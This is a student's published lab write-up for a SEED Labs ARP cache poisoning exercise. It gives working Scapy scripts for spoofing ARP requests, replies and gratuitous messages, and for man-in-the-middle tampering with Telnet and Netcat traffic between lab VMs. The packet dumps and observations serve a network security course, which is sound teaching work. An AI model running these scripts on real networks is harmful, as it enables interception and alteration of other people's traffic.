LinHuiqing
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee
    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee
  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    # ARP Cache Poisoning Attack Lab ###### tags: `SUTD` `SEED Labs` `Network Security` `Lab` For web view: https://hackmd.io/@ephemeral-instance/r1X3ly3l_ The following mappings were used for this lab: | Host | IP address | MAC address | | ---- | ---------- | ------------------- | | M | `10.0.2.4` | `08:00:27:34:8a:17` | | A | `10.0.2.5` | `08:00:27:08:74:bd` | | B | `10.0.2.6` | `08:00:27:85:a7:51` | ## Task 1: ARP Cache Poisoning ### Task 1A (using ARP request) A's ARP cache initially looks like this: ![](https://i.imgur.com/ms3F9fi.png) To poison A's ARP cache, M can spoof B's IP address and send an ARP request to A. Code: ``` python from scapy.all import * A = "10.0.2.5" A_mac = "08:00:27:08:74:bd" B = "10.0.2.6" E_layer = Ether() E_layer.dst = A_mac A_layer = ARP() A_layer.psrc = B A_layer.pdst = A A_layer.op = "who-has" pkt = E_layer / A_layer sendp(pkt) ``` Packet sent has the following properties: ``` ###[ Ethernet ]### dst = 08:00:27:08:74:bd src = 08:00:27:34:8a:17 type = ARP ###[ ARP ]### hwtype = 0x1 ptype = IPv4 hwlen = None plen = None op = who-has hwsrc = 08:00:27:34:8a:17 psrc = 10.0.2.6 hwdst = 00:00:00:00:00:00 pdst = 10.0.2.5 ``` M's MAC address is mapped to B's IP in A's ARP cache, as shown below. ![](https://i.imgur.com/8pnJdFS.png) ### Task 1B (using ARP reply) After clearing A's cache with `sudo ip -s -s neigh flush all`, A's ARP cache is as follows: ![](https://i.imgur.com/fCiDIQ1.png) M can then poison A's ARP cache by spoofing B's IP address and sending an ARP response to A. Code: ``` python from scapy.all import * A = "10.0.2.5" A_mac = "08:00:27:08:74:bd" B = "10.0.2.6" E_layer = Ether() E_layer.dst = A_mac A_layer = ARP() A_layer.psrc = B A_layer.pdst = A A_layer.op = "is-at" pkt = E_layer / A_layer pkt.show() sendp(pkt) ``` Packet sent has the following properties: ``` ###[ Ethernet ]### dst = 08:00:27:08:74:bd src = 08:00:27:34:8a:17 type = ARP ###[ ARP ]### hwtype = 0x1 ptype = IPv4 hwlen = None plen = None op = is-at hwsrc = 08:00:27:34:8a:17 psrc = 10.0.2.6 hwdst = 00:00:00:00:00:00 pdst = 10.0.2.5 ``` M's MAC address is mapped to B's IP in A's ARP cache, as shown below. ![](https://i.imgur.com/AyVMJDJ.png) ### Task 1C (using ARP gratuitous message) After clearing A's cache again with `sudo ip -s -s neigh flush all` as mentioned above. ![](https://i.imgur.com/9urZrAX.png) M can poison A's ARP cache by spoofing B's IP address and broadcasting a gratuitous message. Code: ``` python from scapy.all import * B = "10.0.2.6" E_layer = Ether() E_layer.dst = "ff:ff:ff:ff:ff:ff" A_layer = ARP() A_layer.hwdst = "ff:ff:ff:ff:ff:ff" A_layer.psrc = B A_layer.pdst = B A_layer.op = 2 pkt = E_layer / A_layer sendp(pkt) ``` Packet sent has the following properties: ``` ###[ Ethernet ]### dst = ff:ff:ff:ff:ff:ff src = 08:00:27:34:8a:17 type = ARP ###[ ARP ]### hwtype = 0x1 ptype = IPv4 hwlen = None plen = None op = is-at hwsrc = 08:00:27:34:8a:17 psrc = 10.0.2.6 hwdst = ff:ff:ff:ff:ff:ff pdst = 10.0.2.6 ``` M's MAC address is mapped to B's IP in A's ARP cache, as shown below. ![](https://i.imgur.com/tnqRukJ.png) ## Task 2: MITM Attack on Telnet using ARP Cache Poisoning ### Step 1: Launch the ARP cache poisoning attack To launch the attack, M sends A an ARP request with B's IP address and sends B an ARP request with A's IP address, similar to what has been done for Task 1A. Code: ``` python from scapy.all import * def get_arp_spoof_pkt(victim_ip, victim_mac, spoof_ip): E_layer = Ether() E_layer.dst = victim_mac A_layer = ARP() A_layer.psrc = spoof_ip A_layer.pdst = victim_ip A_layer.op = "who-has" return E_layer / A_layer A = "10.0.2.5" A_mac = "08:00:27:08:74:bd" B = "10.0.2.6" B_mac = "08:00:27:85:a7:51" pkt_a = get_arp_spoof_pkt(A, A_mac, B) pkt_b = get_arp_spoof_pkt(B, B_mac, A) pkt_a.show() pkt_b.show() sendp(pkt_a) sendp(pkt_b) ``` ### Step 2: Testing When both A and B ping each other, they both ping M instead. These packets can be captured on M through WireShark as shown in the screenshot below. ![](https://i.imgur.com/t7nocEQ.png) M does not respond to the pings. After around 9 pings, the correct MAC addresses are restored for A and B, and they start to ping each other instead. ### Step 3: Turn on IP forwarding *Please run the following command and repeat Step 2. Please describe your observation.* Based on the packets captured on M through WireShark, the pings are forwarded by M to their respective machines. ![](https://i.imgur.com/CS4pvF0.png) A and B are unaware of the redirection and do not restore the MAC address cached to the correct ones. ### Step 4: Launch the MITM attack Code: ``` python # ... imports, initialisation of addresses and Step 1 (refer to full code) ... # def tcp_spoof_pkt_telnet(pkt): if pkt[Ether].src != M_mac: print("not from M_mac") if pkt[IP].src == A and pkt[IP].dst == B: print("from A to B") pkt[Ether].src = M_mac pkt[Ether].dst = B_mac try: bytes(pkt[TCP].payload).decode("utf-8") del (pkt[TCP].payload) del (pkt[TCP].chksum) pkt[TCP] /= 'Z' except: print("not str") finally: sendp(pkt) elif pkt[IP].src == B and pkt[IP].dst == A: print("from B to A") pkt[Ether].src = M_mac pkt[Ether].dst = A_mac sendp(pkt) # Forward the original packet # Step 4: Launch MITM attack pkt = sniff(filter='tcp', prn=tcp_spoof_pkt) ``` *We first keep the IP forwarding on, so we can successfully create a Telnet connection between A to B. Once the connection is established, we turn off the IP forwarding using the following command. Please type something on A’s Telnet window, and report your observation: `$ sudo sysctl net.ipv4.ip_forward=0`* 1. If IP forwarding is not enabled before Telnet connection is made, ARP cache is restored to the actual MAC addresses before the connection can be initiated. 2. If IP forwarded is not disabled after Telnet connection is made (i.e. input is sent in after login), the terminal works as usual and input is not replaced. 3. Only if IP forwarding is enabled before Telnet connection and then disabled before other input is made, will the characters input in command prompt be replaced with our character of choice, Z. ## Task 3: MITM Attack on Netcat using ARP Cache Poisoning Code: ``` python # ... imports, initialisation of addresses and Task 2's Step 1 (refer to full code) ... # def tcp_spoof_pkt_netcat(pkt): if pkt[Ether].src != M_mac: print("not from M_mac") if pkt[IP].src == A and pkt[IP].dst == B: print("from A to B") pkt[Ether].src = M_mac pkt[Ether].dst = B_mac try: payload = bytes(pkt[TCP].payload).decode("utf-8") del (pkt[TCP].payload) del (pkt[TCP].chksum) print(payload) payload = censor_payload(payload) print(payload) pkt[TCP] /= payload except AttributeError: print("not str") finally: sendp(pkt) elif pkt[IP].src == B and pkt[IP].dst == A: print("from B to A") pkt[Ether].src = M_mac pkt[Ether].dst = A_mac sendp(pkt) # Forward the original packet def censor_payload(payload): print(0) payload = list(payload) new_payload = payload.copy() name_len = len(first_name) print(1) for i in range(len(payload)-name_len+1): if payload[i:i+name_len] == first_name: print(2) new_payload[i:i+name_len] = replacement_txt return "".join(new_payload) first_name = list("huiqing") replacement_txt = list("aaaaaaa") pkt = sniff(filter='tcp', prn=tcp_spoof_pkt) ``` Evidence: ![](https://i.imgur.com/UmY6ngq.png)

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully